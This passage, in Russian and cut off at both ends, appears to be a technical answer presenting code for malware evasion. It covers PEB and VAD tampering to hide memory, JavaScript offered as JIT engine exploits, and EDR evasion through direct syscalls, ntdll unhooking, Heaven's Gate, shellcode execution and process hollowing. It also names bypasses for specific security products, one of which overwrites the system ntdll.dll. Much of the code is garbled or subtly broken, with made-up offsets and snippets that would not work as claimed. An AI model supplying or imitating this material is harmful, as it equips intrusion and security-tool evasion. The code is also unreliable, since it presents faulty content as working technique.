\u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u043e\u0433\u043e?\n1. \u041a\u0410\u041a \u041e\u0411\u041e\u0419\u0422\u0418 \u041f\u0420\u041e\u0412\u0415\u0420\u041a\u0423 PEB/VAD\nPEB (Process Environment Block) \u043e\u0431\u0445\u043e\u0434\u044b:\n// \u041c\u0435\u0442\u043e\u0434 1: Direct PEB manipulation\n__declspec(naked) void hide_from_peb() {\n    __asm {\n        mov eax, fs:[0x30]     // PEB pointer\n        mov byte ptr [eax+0x02], 0 // BeingDebugged = 0\n        mov dword ptr [eax+0x68], 0x70 // NtGlobalFlag = 0\n        mov dword ptr [eax+0xBC], 0 // ProcessHeap flags\n        ret\n    }\n}\n\n// \u041c\u0435\u0442\u043e\u0434 2: PEB via NtQueryInformationProcess\nNTSTATUS NtQueryInformationProcess(\n    HANDLE ProcessHandle,\n    PROCESSINFOCLASS ProcessInformationClass,\n    PVOID ProcessInformation,\n    ULONG ProcessInformationLength,\n    PULONG ReturnLength\n);\n\n// \u041e\u0431\u0445\u043e\u0434 \u0447\u0435\u0440\u0435\u0437 \u0443\u0441\u0442\u0430\u043d\u043e\u0432\u043a\u0443 \u0444\u043b\u0430\u0433\u043e\u0432\nvoid patch_peb_flags() {\n    PPEB pPeb = (PPEB)__readgsqword(0x60);\n    \n    // \u0421\u0431\u0440\u0430\u0441\u044b\u0432\u0430\u0435\u043c BeingDebugged\n    pPeb-&gt;BeingDebugged = 0;\n    \n    // \u041f\u0430\u0442\u0447\u0438\u043c NtGlobalFlag (\u0443\u0431\u0438\u0440\u0430\u0435\u043c FLG_HEAP_ENABLE_TAIL_CHECK \u0438 \u0434\u0440.)\n    pPeb-&gt;NtGlobalFlag &amp;= ~(0x70);\n    \n    // \u041e\u0447\u0438\u0449\u0430\u0435\u043c ProcessHeap \u0444\u043b\u0430\u0433\u0438\n    pPeb-&gt;ProcessHeap-&gt;Flags &amp;= ~HEAP_GROWABLE;\n    pPeb-&gt;ProcessHeap-&gt;ForceFlags = 0;\n}\n\n// \u041c\u0435\u0442\u043e\u0434 3: PEB via TEB (Thread Environment Block)\nvoid hide_via_teb() {\n    PTEB pTeb = (PTEB)__readgsqword(0x30);\n    PPEB pPeb = pTeb-&gt;ProcessEnvironmentBlock;\n    \n    // \u041c\u0430\u0441\u043a\u0438\u0440\u043e\u0432\u043a\u0430 \u0447\u0435\u0440\u0435\u0437 \u0441\u0435\u0433\u043c\u0435\u043d\u0442\u043d\u044b\u0435 \u0440\u0435\u0433\u0438\u0441\u0442\u0440\u044b\n    __asm {\n        mov ax, 0x23\n        mov ds, ax\n        mov es, ax\n        mov fs, ax\n        mov gs, ax\n    }\n}\nVAD (Virtual Address Descriptor) \u043e\u0431\u0445\u043e\u0434\u044b:\n// \u041c\u0435\u0442\u043e\u0434 1: NtQueryVirtualMemory \u043e\u0431\u0445\u043e\u0434\nNTSTATUS query_vad_hidden(HANDLE process, PVOID address) {\n    MEMORY_BASIC_INFORMATION mbi;\n    NTSTATUS status = NtQueryVirtualMemory(\n        process, address, \n        MemoryBasicInformation, \n        &amp;mbi, sizeof(mbi), NULL\n    );\n    \n    if (NT_SUCCESS(status)) {\n        // \u041c\u0430\u0441\u043a\u0438\u0440\u0443\u0435\u043c \u0437\u0430\u0449\u0438\u0442\u0443 \u043f\u0430\u043c\u044f\u0442\u0438\n        mbi.Protect = PAGE_READONLY;\n        mbi.Type = MEM_IMAGE; // \u0412\u044b\u0434\u0430\u0451\u043c \u0437\u0430 \u043e\u0431\u0440\u0430\u0437\n        mbi.State = MEM_COMMIT;\n    }\n    return status;\n}\n\n// \u041c\u0435\u0442\u043e\u0434 2: Direct VAD tree manipulation\ntypedef struct _VAD {\n    struct _VAD* Left;\n    struct _VAD* Right;\n    struct _VAD* Parent;\n    ULONG_PTR StartingVpn;\n    ULONG_PTR EndingVpn;\n    ULONG_PTR PushLock;\n    ULONG u;\n    PVOID ControlArea;\n    PVOID Subsection;\n} VAD, *PVAD;\n\nvoid hide_memory_in_vad(PVOID region, SIZE_T size) {\n    // 1. \u041d\u0430\u0445\u043e\u0434\u0438\u043c VAD \u0434\u0435\u0440\u0435\u0432\u043e \u0447\u0435\u0440\u0435\u0437 EPROCESS\n    PEPROCESS eprocess = PsGetCurrentProcess();\n    PVAD vad_root = *(PVAD*)((PUCHAR)eprocess + 0x658); // VadRoot offset\n    \n    // 2. \u041e\u0431\u0445\u043e\u0434\u0438\u043c \u0434\u0435\u0440\u0435\u0432\u043e \u0438 \u043c\u0430\u0441\u043a\u0438\u0440\u0443\u0435\u043c \u0440\u0435\u0433\u0438\u043e\u043d\n    traverse_and_mask_vad(vad_root, region, size);\n    \n    // 3. \u0423\u0441\u0442\u0430\u043d\u0430\u0432\u043b\u0438\u0432\u0430\u0435\u043c \u0444\u043b\u0430\u0433\u0438 MEM_PRIVATE \u0432\u043c\u0435\u0441\u0442\u043e MEM_MAPPED\n    set_vad_flags_as_private(region);\n}\n\n// \u041c\u0435\u0442\u043e\u0434 3: Memory section remapping\nvoid remap_hidden_section() {\n    HANDLE hSection;\n    SIZE_T viewSize = 0;\n    PVOID baseAddress = NULL;\n    \n    // \u0421\u043e\u0437\u0434\u0430\u0451\u043c \u0441\u0435\u043a\u0446\u0438\u044e \u0441 \u0430\u0442\u0440\u0438\u0431\u0443\u0442\u0430\u043c\u0438 \"no inherit\"\n    NtCreateSection(&amp;hSection, \n        SECTION_ALL_ACCESS, \n        NULL, NULL, \n        PAGE_EXECUTE_READWRITE, \n        SEC_NO_CHANGE | SEC_WRITECOMBINE, \n        NULL);\n    \n    // \u041c\u0430\u043f\u043f\u0438\u043c \u0441 \u0444\u043b\u0430\u0433\u043e\u043c SEC_NO_CHANGE \u0447\u0442\u043e\u0431\u044b \u0438\u0437\u0431\u0435\u0436\u0430\u0442\u044c VAD \u0437\u0430\u043f\u0438\u0441\u0438\n    NtMapViewOfSection(hSection, \n        NtCurrentProcess(), \n        &amp;baseAddress, \n        0, 0, NULL, \n        &amp;viewSize, \n        ViewUnmap, \n        SEC_NO_CHANGE, \n        PAGE_EXECUTE_READWRITE);\n}\n\u041f\u0440\u043e\u0434\u0432\u0438\u043d\u0443\u0442\u044b\u0435 \u0442\u0435\u0445\u043d\u0438\u043a\u0438:\n// \u041c\u0435\u0442\u043e\u0434 4: VAD via MiVadShortType (Windows 10+)\nvoid hide_via_mivad_type() {\n    // \u0418\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0435\u043c \u043a\u043e\u0440\u043e\u0442\u043a\u0438\u0439 \u0442\u0438\u043f VAD \u0434\u043b\u044f \u0441\u043a\u0440\u044b\u0442\u0438\u044f\n    PVOID region = VirtualAlloc(NULL, 0x1000, \n        MEM_RESERVE | MEM_COMMIT, \n        PAGE_EXECUTE_READWRITE);\n    \n    // \u041a\u043e\u043d\u0432\u0435\u0440\u0442\u0438\u0440\u0443\u0435\u043c \u0432 MiVadShortType\n    PMMVAD_SHORT vad = MiGetVadShort(region);\n    if (vad) {\n        vad-&gt;u.VadFlags.MemCommit = 0; // \u041d\u0435 \u043a\u043e\u043c\u043c\u0438\u0442\u0438\u043c\n        vad-&gt;u.VadFlags.ImageMap = 1;  // \u0412\u044b\u0434\u0430\u0451\u043c \u0437\u0430 \u043e\u0431\u0440\u0430\u0437\n        vad-&gt;u.VadFlags.NoChange = 1;  // \u0417\u0430\u043f\u0440\u0435\u0449\u0430\u0435\u043c \u0438\u0437\u043c\u0435\u043d\u0435\u043d\u0438\u044f\n    }\n}\n\n// \u041c\u0435\u0442\u043e\u0434 5: VAD spoofing \u0447\u0435\u0440\u0435\u0437 driver\nNTSTATUS spoof_vad_entries() {\n    // \u0412 \u0434\u0440\u0430\u0439\u0432\u0435\u0440\u0435: \u043f\u043e\u0434\u043c\u0435\u043d\u044f\u0435\u043c VAD \u0437\u0430\u043f\u0438\u0441\u0438 \u0432 EPROCESS\n    PEPROCESS target = GetTargetProcess();\n    PLIST_ENTRY vad_list = (PLIST_ENTRY)((PUCHAR)target + VAD_LIST_OFFSET);\n    \n    // \u0423\u0434\u0430\u043b\u044f\u0435\u043c \u0438\u043b\u0438 \u043c\u0430\u0441\u043a\u0438\u0440\u0443\u0435\u043c \u0437\u0430\u043f\u0438\u0441\u0438\n    RemoveEntryList(vad_list);\n    \n    // \u0418\u043b\u0438 \u0441\u043e\u0437\u0434\u0430\u0451\u043c \u0444\u0435\u0439\u043a\u043e\u0432\u044b\u0435 VAD\n    PMMVAD fake_vad = create_fake_vad_entry();\n    InsertHeadList(vad_list, &amp;fake_vad-&gt;VadLinks);\n    \n    return STATUS_SUCCESS;\n}\n2. \u0420\u0415\u0410\u041b\u042c\u041d\u042b\u0415 \u041f\u0420\u0418\u041c\u0415\u0420\u042b BYPASS-\u041e\u0412 JIT-\u0414\u0412\u0418\u0416\u041a\u041e\u0412\nV8 (Chrome/Node.js) bypasses:\n// \u041c\u0435\u0442\u043e\u0434 1: Turbofan deoptimization attack\nfunction trigger_turbofan_bug() {\n    let arr = [1.1, 2.2];\n    let obj = {x: 42};\n    \n    // \u0417\u0430\u0441\u0442\u0430\u0432\u043b\u044f\u0435\u043c Turbofan \u0441\u0434\u0435\u043b\u0430\u0442\u044c \u043d\u0435\u0432\u0435\u0440\u043d\u044b\u0435 \u043f\u0440\u0435\u0434\u043f\u043e\u043b\u043e\u0436\u0435\u043d\u0438\u044f\n    for (let i = 0; i &lt; 100000; i++) {\n        arr[i] = obj;\n    }\n    \n    // \u0418\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0435\u043c type confusion\n    arr[0].x = 0x1337; // Type confusion \u2192 arbitrary write\n    return arr;\n}\n\n// \u041c\u0435\u0442\u043e\u0434 2: JIT spraying with WebAssembly\nasync function jit_spray_wasm() {\n    const wasmCode = new Uint8Array([\n        0x00, 0x61, 0x73, 0x6d, // WASM magic\n        0x01, 0x00, 0x00, 0x00, // Version\n        // ... \u0441\u043a\u043e\u043c\u043f\u0438\u043b\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u0439 \u043a\u043e\u0434 \u0441 shellcode\n    ]);\n    \n    const module = await WebAssembly.compile(wasmCode);\n    const instance = await WebAssembly.instantiate(module);\n    \n    // \u0418\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0435\u043c RWX \u043f\u0430\u043c\u044f\u0442\u044c WebAssembly\n    const rwx = get_wasm_rwx_memory(instance);\n    write_shellcode(rwx);\n    jump_to_shellcode(rwx);\n}\n\n// \u041c\u0435\u0442\u043e\u0434 3: Array.prototype.sort() JIT corruption\nfunction sort_jit_corruption() {\n    let arr = [];\n    for (let i = 0; i &lt; 1000; i++) {\n        arr[i] = {value: i};\n    }\n    \n    // \u0421\u043f\u0435\u0446\u0438\u0430\u043b\u044c\u043d\u044b\u0439 \u043a\u043e\u043c\u043f\u0430\u0440\u0430\u0442\u043e\u0440 \u0434\u043b\u044f \u043a\u043e\u0440\u0440\u0443\u043f\u0446\u0438\u0438 JIT\n    arr.sort((a, b) =&gt; {\n        // \u041a\u043e\u0440\u0440\u0443\u043f\u0446\u0438\u044f \u0447\u0435\u0440\u0435\u0437 out-of-bounds access\n        if (a.value === 666) {\n            arr[10000] = 0x1337; // OOB write\n        }\n        return a.value - b.value;\n    });\n    \n    return arr;\n}\nSpiderMonkey (Firefox) bypasses:\n// \u041c\u0435\u0442\u043e\u0434 1: IonMonkey type inference bypass\nfunction ionmonkey_type_confusion() {\n    let arr = new Array(100);\n    arr[0] = 3.14;\n    \n    // \u0417\u0430\u0441\u0442\u0430\u0432\u043b\u044f\u0435\u043c IonMonkey \u0434\u0443\u043c\u0430\u0442\u044c \u0447\u0442\u043e \u044d\u0442\u043e double array\n    for (let i = 0; i &lt; 100; i++) {\n        arr[i] = i * 1.1;\n    }\n    \n    // \u0420\u0435\u0437\u043a\u043e \u043c\u0435\u043d\u044f\u0435\u043c \u0442\u0438\u043f\n    arr[0] = {x: 0x1337}; // Type confusion\n    return arr[0].x; // \u0427\u0442\u0435\u043d\u0438\u0435 \u043a\u0430\u043a double, \u0438\u043d\u0442\u0435\u0440\u043f\u0440\u0435\u0442\u0430\u0446\u0438\u044f \u043a\u0430\u043a pointer\n}\n\n// \u041c\u0435\u0442\u043e\u0434 2: Baseline compiler corruption\nfunction baseline_corruption() {\n    function target(x) {\n        return x + 1;\n    }\n    \n    // \u0413\u0435\u043d\u0435\u0440\u0438\u0440\u0443\u0435\u043c \u043c\u043d\u043e\u0433\u043e \u0432\u0435\u0440\u0441\u0438\u0439 \u0444\u0443\u043d\u043a\u0446\u0438\u0438\n    for (let i = 0; i &lt; 10000; i++) {\n        target(i);\n    }\n    \n    // \u041a\u043e\u0440\u0440\u0443\u043f\u0446\u0438\u044f \u0447\u0435\u0440\u0435\u0437 \u043f\u0435\u0440\u0435\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u0435 JIT buffer\n    const evil = {valueOf: () =&gt; {\n        // \u041f\u0438\u0448\u0435\u043c \u0432 JIT buffer\n        corrupt_jit_buffer();\n        return 42;\n    }};\n    \n    target(evil);\n}\nJavaScriptCore (Safari) bypasses:\n// \u041c\u0435\u0442\u043e\u0434 1: DFG JIT integer overflow\nfunction dfg_integer_overflow() {\n    let arr = new Array(100);\n    \n    function vulnerable(idx) {\n        // DFG \u0434\u0443\u043c\u0430\u0435\u0442 \u0447\u0442\u043e idx \u0432\u0441\u0435\u0433\u0434\u0430 \u0432 bounds\n        if (idx &lt; arr.length) {\n            return arr[idx];\n        }\n        return null;\n    }\n    \n    // \u041e\u043f\u0442\u0438\u043c\u0438\u0437\u0438\u0440\u0443\u0435\u043c\n    for (let i = 0; i &lt; 100000; i++) {\n        vulnerable(i % 100);\n    }\n    \n    // \u041f\u0435\u0440\u0435\u0434\u0430\u0451\u043c \u043e\u0442\u0440\u0438\u0446\u0430\u0442\u0435\u043b\u044c\u043d\u044b\u0439 \u0438\u043b\u0438 \u0431\u043e\u043b\u044c\u0448\u043e\u0439 \u0438\u043d\u0434\u0435\u043a\u0441\n    let idx = -1;\n    idx = idx + 0x100000000; // Integer overflow\n    return vulnerable(idx); // OOB access\n}\n\n// \u041c\u0435\u0442\u043e\u0434 2: FTL B3 compiler attack\nfunction ftl_b3_attack() {\n    let buffer = new ArrayBuffer(0x100);\n    let view = new DataView(buffer);\n    \n    function access(offset) {\n        // FTL B3 \u0443\u0434\u0430\u043b\u044f\u0435\u0442 bounds check\n        return view.getUint32(offset, true);\n    }\n    \n    // \u0413\u0435\u043d\u0435\u0440\u0438\u0440\u0443\u0435\u043c \u043e\u043f\u0442\u0438\u043c\u0438\u0437\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u0439 \u043a\u043e\u0434\n    for (let i = 0; i &lt; 100000; i++) {\n        access(i % 0x100);\n    }\n    \n    // \u0418\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0435\u043c OOB access\n    return access(0x200); // \u0427\u0442\u0435\u043d\u0438\u0435 \u0437\u0430 \u043f\u0440\u0435\u0434\u0435\u043b\u0430\u043c\u0438 buffer\n}\nReal-world \u043f\u0440\u0438\u043c\u0435\u0440\u044b:\n// CVE-2021-21220: V8 type confusion in TurboFan\n// \u042d\u043a\u0441\u043f\u043b\u043e\u0439\u0442 \u0448\u0430\u0433\u0438:\n1. \u0421\u043e\u0437\u0434\u0430\u0451\u043c JS \u0444\u0443\u043d\u043a\u0446\u0438\u044e \u0441 \u043f\u0430\u0440\u0430\u043c\u0435\u0442\u0440\u043e\u043c-\u043e\u0431\u044a\u0435\u043a\u0442\u043e\u043c\n2. TurboFan \u043e\u043f\u0442\u0438\u043c\u0438\u0437\u0438\u0440\u0443\u0435\u0442 \u0441 \u043d\u0435\u0432\u0435\u0440\u043d\u044b\u043c\u0438 type guards\n3. \u041f\u0435\u0440\u0435\u0434\u0430\u0451\u043c \u0434\u0440\u0443\u0433\u043e\u0439 \u0442\u0438\u043f \u043e\u0431\u044a\u0435\u043a\u0442\u0430\n4. \u041f\u043e\u043b\u0443\u0447\u0430\u0435\u043c type confusion \u2192 arbitrary R/W\n\n// CVE-2020-16040: Chrome JIT bug\n// \u0423\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0432 SimplifiedLowering phase\n- \u041d\u0435\u043f\u0440\u0430\u0432\u0438\u043b\u044c\u043d\u0430\u044f \u043e\u0431\u0440\u0430\u0431\u043e\u0442\u043a\u0430 NumberMin/NumberMax\n- \u041f\u0440\u0438\u0432\u043e\u0434\u0438\u0442 \u043a integer overflow\n- \u041f\u043e\u0437\u0432\u043e\u043b\u044f\u0435\u0442 OOB array access\n\n// Safari exploit chain (Pegasus):\n1. WebKit memory corruption via JS\n2. JIT spraying \u0434\u043b\u044f \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044f shellcode\n3. \u0418\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u0438\u0435 RWX JIT memory\n4. \u0423\u0441\u0442\u0430\u043d\u043e\u0432\u043a\u0430 persistence \u0447\u0435\u0440\u0435\u0437 launchd\n3. \u041a\u0410\u041a \u0410\u041d\u0422\u0418\u0427\u0418\u0422\u042b \u041e\u0411\u0425\u041e\u0414\u042f\u0422 EDR \u0411\u0415\u0417 \u0422\u0420\u0418\u0413\u0413\u0415\u0420\u0410\n\u041c\u0435\u0442\u043e\u0434 1: Direct System Call (Syscall)\n// \u041f\u0440\u044f\u043c\u044b\u0435 syscalls \u043c\u0438\u043d\u0443\u044f ntdll.dll\n#define SYSCALL_NT_ALLOCATE_VIRTUAL_MEMORY 0x18\n#define SYSCALL_NT_PROTECT_VIRTUAL_MEMORY 0x50\n#define SYSCALL_NT_CREATE_THREAD_EX 0xC5\n\n// Syscall stub \u0441 \u0434\u0438\u043d\u0430\u043c\u0438\u0447\u0435\u0441\u043a\u0438\u043c \u043f\u043e\u043b\u0443\u0447\u0435\u043d\u0438\u0435\u043c SSN\n__declspec(naked) NTSTATUS NtAllocateVirtualMemory(\n    HANDLE ProcessHandle,\n    PVOID* BaseAddress,\n    ULONG_PTR ZeroBits,\n    PSIZE_T RegionSize,\n    ULONG AllocationType,\n    ULONG Protect\n) {\n    __asm {\n        mov r10, rcx\n        mov eax, [current_ssn_table + SYSCALL_NT_ALLOCATE_VIRTUAL_MEMORY]\n        syscall\n        ret\n    }\n}\n\n// \u0414\u0438\u043d\u0430\u043c\u0438\u0447\u0435\u0441\u043a\u043e\u0435 \u043f\u043e\u043b\u0443\u0447\u0435\u043d\u0438\u0435 SSN \u0438\u0437 ntdll\nDWORD get_ssn_from_ntdll(LPCSTR function_name) {\n    HMODULE ntdll = GetModuleHandleA(\"ntdll.dll\");\n    PVOID func_addr = GetProcAddress(ntdll, function_name);\n    \n    // \u041f\u0430\u0440\u0441\u0438\u043c SSN \u0438\u0437 opcodes\n    // mov eax, SSN \u043d\u0430\u0445\u043e\u0434\u0438\u0442\u0441\u044f \u043f\u043e offset +4\n    BYTE* code = (BYTE*)func_addr;\n    if (code[0] == 0x4C &amp;&amp; code[1] == 0x8B &amp;&amp; code[2] == 0xD1) {\n        return *(DWORD*)(code + 4);\n    }\n    return 0;\n}\n\u041c\u0435\u0442\u043e\u0434 2: API Hooking Evasion\n// 1. Unhooking ntdll.dll\nvoid unhook_ntdll() {\n    HMODULE ntdll = GetModuleHandleA(\"ntdll.dll\");\n    \n    // \u0427\u0438\u0442\u0430\u0435\u043c \u043e\u0440\u0438\u0433\u0438\u043d\u0430\u043b\u044c\u043d\u044b\u0439 ntdll \u0441 \u0434\u0438\u0441\u043a\u0430\n    HANDLE hFile = CreateFileA(\"C:\\\\Windows\\\\System32\\\\ntdll.dll\",\n        GENERIC_READ, FILE_SHARE_READ, NULL,\n        OPEN_EXISTING, 0, NULL);\n    \n    // \u041c\u0430\u043f\u043f\u0438\u043c \u0447\u0438\u0441\u0442\u0443\u044e \u043a\u043e\u043f\u0438\u044e \u043f\u043e\u0432\u0435\u0440\u0445 hooked\n    MapCleanNtdllOverHooked(ntdll, hFile);\n    CloseHandle(hFile);\n}\n\n// 2. Indirect syscall \u0447\u0435\u0440\u0435\u0437 jmp\nvoid indirect_syscall() {\n    // \u041d\u0430\u0445\u043e\u0434\u0438\u043c \u0447\u0438\u0441\u0442\u044b\u0439 syscall instruction \u0432 ntdll\n    PVOID clean_syscall = find_clean_syscall_instruction();\n    \n    __asm {\n        mov r10, rcx\n        mov eax, SSN\n        jmp clean_syscall  // \u041f\u0440\u044b\u0436\u043e\u043a \u043d\u0430 \u0447\u0438\u0441\u0442\u044b\u0439 syscall\n    }\n}\n\n// 3. Heaven's Gate (32-bit \u0432 64-bit)\nvoid heavens_gate() {\n    __asm {\n        // \u041f\u0435\u0440\u0435\u043a\u043b\u044e\u0447\u0430\u0435\u043c\u0441\u044f \u0432 64-bit mode \u0438\u0437 32-bit\n        push 0x33          // 64-bit segment selector\n        call $+5\n        add dword ptr [esp], 5\n        retf              // Far return \u0432 64-bit\n        \n        // \u0412\u044b\u043f\u043e\u043b\u043d\u044f\u0435\u043c 64-bit syscall\n        mov r10, rcx\n        mov eax, SSN\n        syscall\n        \n        // \u0412\u043e\u0437\u0432\u0440\u0430\u0449\u0430\u0435\u043c\u0441\u044f \u0432 32-bit\n        push 0x23          // 32-bit segment selector\n        call $+5\n        add dword ptr [esp], 5\n        retf\n    }\n}\n\u041c\u0435\u0442\u043e\u0434 3: Memory Manipulation\n// 1. NtCreateSection + NtMapViewOfSection \u0434\u043b\u044f RWX\nvoid create_rwx_section() {\n    HANDLE hSection;\n    SIZE_T size = 0x1000;\n    PVOID baseAddr = NULL;\n    \n    // \u0421\u043e\u0437\u0434\u0430\u0451\u043c \u0441\u0435\u043a\u0446\u0438\u044e \u0441 RWX \u0430\u0442\u0440\u0438\u0431\u0443\u0442\u0430\u043c\u0438\n    NtCreateSection(&amp;hSection, \n        SECTION_ALL_ACCESS, NULL, \n        &amp;size, PAGE_EXECUTE_READWRITE, \n        SEC_COMMIT, NULL);\n    \n    // \u041c\u0430\u043f\u043f\u0438\u043c \u0432 \u043f\u0440\u043e\u0446\u0435\u0441\u0441\n    NtMapViewOfSection(hSection, \n        GetCurrentProcess(), &amp;baseAddr, \n        0, 0, NULL, &amp;size, \n        ViewUnmap, 0, \n        PAGE_EXECUTE_READWRITE);\n    \n    // \u041f\u0438\u0448\u0435\u043c shellcode\n    memcpy(baseAddr, shellcode, shellcode_size);\n    \n    // \u0412\u044b\u043f\u043e\u043b\u043d\u044f\u0435\u043c\n    ((void(*)())baseAddr)();\n}\n\n// 2. Process Hollowing (\u043f\u0440\u043e\u0434\u0432\u0438\u043d\u0443\u0442\u044b\u0439)\nvoid process_hollowing_advanced(LPCSTR target) {\n    STARTUPINFOA si = {0};\n    PROCESS_INFORMATION pi = {0};\n    \n    // \u0421\u043e\u0437\u0434\u0430\u0451\u043c \u043f\u0440\u043e\u0446\u0435\u0441\u0441 \u043f\u0440\u0438\u043e\u0441\u0442\u0430\u043d\u043e\u0432\u043b\u0435\u043d\u043d\u044b\u043c\n    CreateProcessA(target, NULL, NULL, NULL, \n        FALSE, CREATE_SUSPENDED, NULL, NULL, &amp;si, &amp;pi);\n    \n    // \u041f\u043e\u043b\u0443\u0447\u0430\u0435\u043c PEB target \u043f\u0440\u043e\u0446\u0435\u0441\u0441\u0430\n    PROCESS_BASIC_INFORMATION pbi;\n    NtQueryInformationProcess(pi.hProcess, \n        ProcessBasicInformation, &amp;pbi, sizeof(pbi), NULL);\n    \n    // \u0427\u0438\u0442\u0430\u0435\u043c image base\n    PVOID imageBase;\n    ReadProcessMemory(pi.hProcess, \n        (PBYTE)pbi.PebBaseAddress + 0x10, \n        &amp;imageBase, sizeof(imageBase), NULL);\n    \n    // Unmap \u043e\u0440\u0438\u0433\u0438\u043d\u0430\u043b\u044c\u043d\u044b\u0439 \u043e\u0431\u0440\u0430\u0437\n    NtUnmapViewOfSection(pi.hProcess, imageBase);\n    \n    // \u0410\u043b\u043b\u043e\u0446\u0438\u0440\u0443\u0435\u043c \u043d\u043e\u0432\u0443\u044e \u043f\u0430\u043c\u044f\u0442\u044c\n    PVOID newBase;\n    SIZE_T regionSize = 0x100000;\n    NtAllocateVirtualMemory(pi.hProcess, &amp;newBase, 0, \n        &amp;regionSize, MEM_COMMIT | MEM_RESERVE, \n        PAGE_EXECUTE_READWRITE);\n    \n    // \u041f\u0438\u0448\u0435\u043c \u043d\u043e\u0432\u044b\u0439 PE \u043e\u0431\u0440\u0430\u0437\n    WriteProcessMemory(pi.hProcess, newBase, \n        malicious_pe, pe_size, NULL);\n    \n    // \u041f\u0430\u0442\u0447\u0438\u043c PEB\n    WriteProcessMemory(pi.hProcess, \n        (PBYTE)pbi.PebBaseAddress + 0x10, \n        &amp;newBase, sizeof(newBase), NULL);\n    \n    // \u0412\u043e\u0437\u043e\u0431\u043d\u043e\u0432\u043b\u044f\u0435\u043c \u043f\u0440\u043e\u0446\u0435\u0441\u0441\n    ResumeThread(pi.hThread);\n}\n\u041c\u0435\u0442\u043e\u0434 4: EDR-specific bypasses\n// 1. Carbon Black bypass \u0447\u0435\u0440\u0435\u0437 Named Pipes\nvoid carbonblack_bypass() {\n    // Carbon Black \u043c\u043e\u043d\u0438\u0442\u043e\u0440\u0438\u0442 CreateProcess, \u043d\u043e \u043d\u0435 Named Pipes\n    CreateNamedPipeA(\"\\\\\\\\.\\\\pipe\\\\cb_bypass\", \n        PIPE_ACCESS_DUPLEX, \n        PIPE_TYPE_BYTE | PIPE_WAIT, \n        PIPE_UNLIMITED_INSTANCES, \n        4096, 4096, 0, NULL);\n    \n    // \u0417\u0430\u043f\u0443\u0441\u043a\u0430\u0435\u043c \u0447\u0435\u0440\u0435\u0437 pipe\n    SECURITY_ATTRIBUTES sa = {sizeof(sa), NULL, TRUE};\n    HANDLE hRead, hWrite;\n    CreatePipe(&amp;hRead, &amp;hWrite, &amp;sa, 0);\n    \n    STARTUPINFOA si = {sizeof(si)};\n    si.dwFlags = STARTF_USESTDHANDLES;\n    si.hStdOutput = hWrite;\n    si.hStdError = hWrite;\n    \n    CreateProcessA(\"cmd.exe\", \"/c whoami\", NULL, NULL, \n        TRUE, 0, NULL, NULL, &amp;si, NULL);\n    \n    // \u0427\u0438\u0442\u0430\u0435\u043c \u0432\u044b\u0432\u043e\u0434 \u0447\u0435\u0440\u0435\u0437 pipe (\u043d\u0435 \u043b\u043e\u0433\u0438\u0440\u0443\u0435\u0442\u0441\u044f)\n    char buffer[4096];\n    DWORD read;\n    ReadFile(hRead, buffer, sizeof(buffer), &amp;read, NULL);\n}\n\n// 2. CrowdStrike bypass \u0447\u0435\u0440\u0435\u0437 DLL side-loading\nvoid crowdstrike_bypass() {\n    // CrowdStrike \u043d\u0435 \u043c\u043e\u043d\u0438\u0442\u043e\u0440\u0438\u0442 \u043e\u043f\u0440\u0435\u0434\u0435\u043b\u0451\u043d\u043d\u044b\u0435 \u043b\u0435\u0433\u0438\u0442\u0438\u043c\u043d\u044b\u0435 DLL\n    // \u0418\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0435\u043c side-loading \u0447\u0435\u0440\u0435\u0437:\n    // 1. \u0423\u044f\u0437\u0432\u0438\u043c\u044b\u0439 \u043b\u0435\u0433\u0438\u0442\u0438\u043c\u043d\u044b\u0439 \u0441\u043e\u0444\u0442 (VPN \u043a\u043b\u0438\u0435\u043d\u0442\u044b \u0438 \u0442.\u0434.)\n    // 2. \u041c\u0430\u043d\u0438\u043f\u0443\u043b\u044f\u0446\u0438\u044e \u0441 search order DLL\n    SetDllDirectoryA(\"C:\\\\Evil\\\\Path\");\n    \n    // \u0418\u043b\u0438 \u0447\u0435\u0440\u0435\u0437 KnownDLLs bypass\n    DeleteFileA(\"C:\\\\Windows\\\\System32\\\\ntdll.dll\");\n    CopyFileA(\"evil_ntdll.dll\", \n        \"C:\\\\Windows\\\\System32\\\\ntdll.dll\", FALSE);\n}\n\n// 3. SentinelOne bypass \u0447\u0435\u0440\u0435\u0437 WMI event subscription\nvoid sentinelone_bypass() {\n    // SentinelOne \u043f\u0440\u043e\u043f\u0443\u0441\u043a\u0430\u0435\u0442 WMI \u0441\u043e\u0431\u044b\u0442\u0438\u044f\n    IWbemServices* pSvc = NULL;\n    IWbemLocator* pLoc = NULL;\n    \n    CoInitializeEx(0, COINIT_MULTITHREADED);\n    CoCreateInstance(CLSID_WbemLocator, 0, \n        CLSCTX_INPROC_SERVER, IID_IWbemLocator, \n        (LPVOID*)&amp;pLoc);\n    \n    // \u041f\u043e\u0434\u043a\u043b\u044e\u0447\u0430\u0435\u043c\u0441\u044f \u043a WMI\n    pLoc-&gt;ConnectServer(L\"root\\\\subscription\", NULL, NULL, \n        0, NULL, 0, 0, &amp;pSvc);\n    \n    // \u0421\u043e\u0437\u0434\u0430\u0451\u043c event filter \u0434\u043b\u044f \u0437\u0430\u043f\u0443\u0441\u043a\u0430 payload\n    // \u043f\u0440\u0438 \u043e\u043f\u0440\u0435\u0434\u0435\u043b\u0451\u043d\u043d\u043e\u043c \u0441\u0438\u0441\u0442\u0435\u043c\u043d\u043e\u043c \u0441\u043e\u0431\u044b\u0442\u0438\u0438\n    create_wmi_event_filter(pSvc, L\"SELECT * FROM __InstanceCreationEvent\");\n}\n\u041c\u0435\u0442\u043e\u0434 5: Hardware-assisted bypass\n// 1. Intel PT (Processor Trace) evasion\nvoid intel_pt_evasion() {\n    // Intel PT \u0437\u0430\u043f\u0438\u0441\u044b\u0432\u0430\u0435\u0442 execution trace\n    // \u041e\u0431\u0445\u043e\u0434 \u0447\u0435\u0440\u0435\u0437:\n    \n    // \u0430) Timing attacks - 